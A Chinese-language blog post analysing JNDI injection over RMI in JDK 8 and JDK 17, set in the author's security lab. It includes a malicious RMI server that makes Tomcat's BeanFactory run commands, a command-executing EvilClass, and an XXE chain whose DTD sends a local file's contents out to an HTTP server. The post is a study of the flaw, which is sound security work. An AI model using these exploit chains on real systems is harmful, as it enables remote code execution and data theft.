高版本jdk下的JNDI注入
JNDI是java提供的一种查找资源的机制,正常来说会从一个服务器获取对资源的引用,但是一旦从恶意服务器获取引用,就有可能执行恶意代码完成RCE。
以RMI JNDI注入为例,以下是RMI客户端从RMI恶意服务端获取引用从而触发RCE的完整过程:
-
RMI客户端通过lookup向服务端发起查询,由于查询字符串能够被外部控制,就会导致向恶意服务器发起查询
RMI Client:
InitialContext ctx = new InitialContext(); UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");UserService:
package org.example.seclab17.vulnerability.jndi; import java.rmi.Remote; import java.rmi.RemoteException; // 定义远程接口,必须继承Remote public interface UserService extends Remote { User findUserById(int id) throws RemoteException; User findUserByName(String name) throws RemoteException; }User:
package org.example.seclab17.vulnerability.jndi; import java.io.Serializable; public class User implements Serializable { private static final long serialVersionUID = 1L; private int id; private String name; private String email; private int age; public User(int id, String name, String email, int age) { this.id = id; this.name = name; this.email = email; this.age = age; } // getter和setter方法 public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "User [id=" + id + ", name=" + name + ", email=" + email + ", age=" + age + "]"; } } -
客户端在获取类的引用后会先找当前环境下是否存在该类定义,如果没有,就会从服务端去找类的字节码(如果服务端定义了字节码的获取路径)
RMI Server:
Registry registry = LocateRegistry.createRegistry(1099); String className = "EvilClass"; String codebase = "http://localhost:8080/"; Reference reference = new Reference(className, className, codebase); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calculator", wrapper);实际下载字节码的路径为
http://localhost:8080/EvilClass.class -
当客户端下载了字节码就会进行加载,从而执行类的静态代码块中的恶意代码从而RCE,相关代码在NamingManager的getObjectFactoryFromReference中:
static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }在
clas = helper.loadClass(factoryName, codebase);处加载类
因此,对于需要做JNDI查询的客户端来说,只要lookup中的字符串能被控制,就会存在JNDI注入的可能。
以下是jdk8和jdk17的调用链(loadClass):
(1)jdk8u66中从source到sink的链为:
javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:417)
com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:128)
com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:124)
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:464)
javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:319)
javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:158)
com.sun.naming.internal.VersionHelper.loadClass(com.sun.naming.internal.VersionHelper.class:-1)
(2)jdk17中从source到sink的链为:
调用链 #7(节点数:7) ---
类模块:java.naming
javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:409)
类模块:java.naming
com.sun.jndi.toolkit.url.GenericURLContext.lookup(com.sun.jndi.toolkit.url.GenericURLContext.class:220)
类模块:jdk.naming.rmi
com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:140)
类模块:jdk.naming.rmi
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:501)
类模块:java.naming
javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:340)
类模块:java.naming
javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:169)
类模块:java.naming
com.sun.naming.internal.VersionHelper.loadClass(-1)
前面的代码适用于jdk 8u66,但是当jdk版本为17时,以上类似的链就会出现一些问题:
客户端错误: javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:497)
at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:140)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.example.seclab17.vulnerability.jndi.RMIClient.main(RMIClient.java:29)
当trustURLCOdebase为false,就会触发该异常,而该值默认为false:

但是当ref.getFactoryClassLocation()为null时就会绕过这个异常,即只需要将Reference的classFactoryLocation字段设置为null,但实际上后面的codebase就是从这个值中取的,如果设置classFactoryLocation为null,那么就无法远程加载类,因此在jdk17 loadClass这条链路是不通的。
另外,当trustURLCOdebase为true时,还需要设置另一个配置为true才可以成功加载codebase,即在jdk17的rmi client一共需要设置两个配置:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext ctx = new InitialContext();
UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");
远程加载codebase的路不通还可以看到在getObjectInstance中会根据factory调用对应的getObjectInstance,在这个getObjectInstance中也许存在对远程引用危险的使用:

JDNI注入实际上就是由于远程加载恶意类时出现的问题,要找一条可以用的JNDI链路需要确定source和sink:
-
source为通过JNDI Server配置的Reference,具体哪种Reference根据factory而定
-
sink为不同factory的getObjectInstance,这些sink可能会做以下危险操作:
- 类的动态加载:能加载远程下载的字节码到JVM
- 危险的类方法:能够远程加载类并执行指定的类方法
- XXE:能远程加载允许脚本执行的xml文件
- Sql注入:执行远程指定的sql语句
- 等等
在tomcat 11.0.2尝试以下factory:
(1)BeanFactory:
BeanFactory的getObjectInstance会加载指定的存在public无参构造的类,然后调用类指定属性的set方法(必须存在属性且该属性有set方法),而且这个set方法的入参只能是String类型
类的形式需要满足:
import java.io.IOException;
public class EvilClass {
public EvilClass() {}
private String cmd;
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
对应的Server:
package org.example.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"org.example.seclab17.vulnerability.jndi.EvilClass",
null,
null,
null,
false,
"org.apache.naming.factory.BeanFactory",
null
);
ref.add(new StringRefAddr("forceString", "cmd"));
ref.add(new StringRefAddr("cmd", "calc"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("calculator", wrapper);
}
}
(2)MemoryUserDatabase
MemoryUserDatabase的getObjectInstance会加载指定的远程xml文件,其内部解析xml时使用SAX解析器
对应的Server:
package org.example.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("org.apache.catalina.UserDatabase", "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://localhost:8080/win_oob.xml"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("calculator", wrapper);
}
}
win_oob.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://localhost:8080/win_oob.dtd">
%xd;
]>
<root>&bbbb;</root>
win_oob.dtd:
<!ENTITY % aaaa SYSTEM "file:///D:/Local_AI_auxiliary_system/Code/java/SecMicroLab/data/file/1.txt">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://localhost:8080/?file=%aaaa;'>">
%demo;
需要注意的是,没有办法将参数实体的引用放在xml文件,因为会报错参数实体引用不能出现在 DTD 的内部子集中的标记内,除此之外,获取的文件数据也要是一段没有空格或其他特殊字符的字符串,否则会导致url格式错误从而无法正确发起请求
当前环境的其他factory没有发现可以利用的点,我也没有引入其他的一些依赖去做测试,所以写的会比较简单
简单总结:
在jdk8u66版本中,JNDI中rmi的利用只需要借助codebase即可完成恶意类的加载,但是在jdk17版本中,则需要基于不同的factory中存在的漏洞甚至结合一些特定的链才可以完成攻击。
高版本JDK中的JNDI注入分析
1881

被折叠的 条评论
为什么被折叠?



